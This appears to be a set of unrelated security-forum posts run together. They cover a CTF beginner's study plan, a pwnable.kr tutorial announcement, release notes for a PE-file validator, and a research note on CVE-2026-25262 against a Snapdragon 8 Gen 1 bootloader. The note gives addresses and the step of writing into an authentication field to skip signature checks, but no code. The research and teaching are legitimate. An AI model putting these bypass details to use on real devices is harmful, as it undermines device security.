So there is exploits called usbliter8 for a12 devices,There was a few pop ups about videos how to do it and what it can [do.Be](http://do.Be) informed and do your research

It worth building malware sandbox from scratch (with c) to get into malware analysis? Or just use tools?

Hi guys, recently Im in a loop, hop on and off different site different courses in and out, back and forth while feeling making ZERO progress.

Here, I want to share a bit about my goal, my background, my problem. And I hope I could have some advices to get out of this feeling

MY GOAL:
- Long term: Get into cybersecurity field, especially roles that involve “low level” stuffs as I really interested in them. Thats it! For now, as Im pretty new to this + Im hyper focus on short term goal which I will talk right after
- Short term goal: Build foundation, knowledge, skills in Reverse Engineering (RE) and more excitingly Binary Exploitation, Pwn
- Shorter term goal: To prepare for upcoming CTF contests with my new team. More on this later

MY BACKGROUND:
- I already familiar with Linux, CLI, some popular commands
- I know x86 assembly
- know C, C++
- know on surface level some basic vulnerabilities and have done very simple CTF challenges (ret2win, shellcode easy, …)
- do know how to use basic gdb, pwntools, ida/ghidra

all of that is a result of following pwn.college + using Linux as daily basis + my college’s teaching on c, c++, etc

by all means, I do not master any of these above skills I told.

MY PROBLEMS:
So ofc Im very worrying the most about the upcoming CTF because Im new and feel like know nothing yet.
I also stucking into tutorial hell as I have too many resources of documentation/courses that I do not know which one is suit for my current situation

Im aware of the pinning post in this sub, that is actually where I get these resources from

But with 2 months left until the contest, I really want to make the most out of my time. So I need help with designing a road map so to speak.

Currently, Im looking into ironstone’s pwn notes + Nightmare CTF collection. Whatd you recommend?

I’d like to share the results of an experimental research note on the applicability of CVE-2026-25262 (Kaspersky ICS CERT, May 2026) to a modern 64-bit ARMv9 Qualcomm platform.

**Device:** POCO F4 GT (ingres) / Snapdragon 8 Gen 1 (SM8450, Waipio).

**What was done:**

- Static analysis of the engineering Firehose loader (`xbl_s_devprg_ns.melf`) in Ghidra identified the authorization state structure at `0x6B9CD500` (critical field `0x6B9CD538`).

- A modified Sahara client (`cve_final_single`, based on B. Kerler's edl) was created to exploit the CVE and deliver the loader to an arbitrary SRAM address (`0x2211C000`) *without* signature verification.

- An additional `SAHARA_CMD_RECV_DATA` packet injected the value `5` into the `is_authenticated` field before control was transferred to Firehose.

**Result (partial success):**

- Arbitrary write to SRAM via CVE-2026-25262 is **confirmed working** on SM8450.

- The loader executes and responds to commands (`nop` succeeds), no authorization error is observed.

- Full UFS access is **not yet achieved**; `getstorageinfo` and `read` return empty responses. Two hypotheses are being investigated: (1) loading only the LOAD segments without ELF/certificate overlay, and (2) potential TrustZone/SMC dependencies.

**Why this might be interesting:**

The official Qualcomm list for CVE-2026-25262 includes only 32-bit legacy platforms. This experiment suggests that the vulnerable code path in the Boot ROM is also present on the latest flagship SoCs, widening the scope of the vulnerability.

Full article, logs, PBL status codes, and static analysis notes are available in the repository:

https://github.com/shurikgo/cve-2026-25262-sm8450-research

No full exploit code is provided; the published material is sufficient for independent verification and further research.

*This work is shared for educational and research purposes only.*

This week we'll be looking at another beginner friendly exploit development tutorial! More specifically we'll be looking at the "passcode" binary exploitation challenge hosted on pwnable[.]kr!

This challenge covers multiple skills so I believe regardless of where you are on you journey to learn exploit development you will pick up a few things!

By the end of this tutorial you should have gained exposure to:

- C source code review
- Leveraging a controlled write to gain code execution through the use of one variable
- Abusing binaries compiled without PIE (Also known as ASLR)
- Debugging
- Using python exploit code alongside GDB

and more! Since this is binary exploitation do not feel discouraged if everything does not click! The goal is to learn at least one thing from every tutorial!

You can find the full video below:

https://youtu.be/cpol2KPSPaw?si=NSnjgDGBcNF-x8E8

Publishing a release of IOCX (open-source PE structural validator, MPL-2.0) and posting some format-level notes alongside it.

Write-up: PE structural validation: format ambiguities and decoder design

The notes catalogue four categories of PE specification ambiguity encountered during decoder work, with focus on delay-load imports (the richest surface). Structured as: format description grounded in the spec --> the ambiguity described precisely --> what IOCX chose to do about it. There are no unverified claims about how other parsers behave, however cross-tool measurement is queued as follow-up work.

Topics covered:

• Delay-load imports: v1 vs v0 attribute mode, INT/IAT parallel-array interpretation and mismatch handling, descriptor array termination when declared-size and terminator signals disagree
• Exports: ENPT sort discipline (byte-wise per spec) and forwarder grammar validation
• VS_VERSIONINFO: nested length prefixes, DWORD alignment enforcement, signature validation for VS_FIXEDFILEINFO, StringTable key format
• Resource hierarchy: Type ->Name -> Language depth expectations

IOCX v0.7.5 additions relevant to structural analysis:

Four new parser/validator pairs, 24 new reason codes with priority-resolved sub-reasons via details["reason"]. Delay-load specifically emits:

• DELAY_IMPORT_ATTRIBUTES_LEGACY_VA_MODE : v0 mode detected (obsolete, spec-permitted, requires VA-to-RVA conversion for correct interpretation)
• DELAY_IMPORT_INT_IAT_MISMATCH : parallel arrays disagree on length
• DELAY_IMPORT_TABLE_TRUNCATED with distinct sub-tags for each termination cause (delay_import_descriptor_unterminated, _truncated, _max_exceeded, _read_failed)
• DELAY_IMPORT_DLL_NAME_INVALID with priority-resolved sub-reasons
• DELAY_IMPORT_ENTRY_INVALID for per-import malformations (ordinal_zero, name_unterminated, name_not_printable, etc.)

Design notes:

• Byte-level parsing via struct.unpack_from on pe.get_data() byte slices; no reliance on pefile's lazy attribute interpretation
• Bounded reads throughout (descriptor arrays capped at 4096, imports per descriptor at 16384, DLL name scan at 512 bytes, IMAGE_IMPORT_BY_NAME scan at 1024)
• Parsers never raise on malformed input; failures produce tombstone tags in errors[] and truncations[] lists
• PE32+ vs PE32 thunk sizing determined once from `OPTIONAL_HEADER.Magic` and threaded through the parse

Optional Header enrichment relevant to security-posture analysis:

• dll_characteristics_flags: decoded flag list (DYNAMIC_BASE, NX_COMPAT, GUARD_CF, HIGH_ENTROPY_VA, etc.)
• dll_characteristics_unknown_bits: hex string for any bits outside the known-flag mask
• Stack and heap sizing (reserve + commit, 64-bit on PE32+)
• win32_version_value, loader_flags exposed raw

Verification:

Delay-load parser cross-checked byte-exact against dumpbin /imports on mspaint.exe : 107 imports from gdiplus.dll with agreement on names, hints, IAT addresses, ordering, and bound state.

1370 tests at 100% line and branch coverage on new modules. Defensive struct.error paths covered via monkeypatched injection.

Performance ~14ms typical PE, ~1ms on adversarial minimal PE.

Deferred:

• TLS Directory parser and validator (next release)
• Single-anomaly fixtures for each new reason code (~25 planned, including negative controls for the ambiguities described in the Gist)
• Cross-tool measurement study using the fixtures

Repo: https://github.com/iocx-dev/iocx

CHANGELOG: https://github.com/iocx-dev/iocx/blob/main/CHANGELOG.md

Reason codes reference: https://github.com/iocx-dev/iocx/blob/main/docs/specs/reason-codes.md

My friend hamza asked me.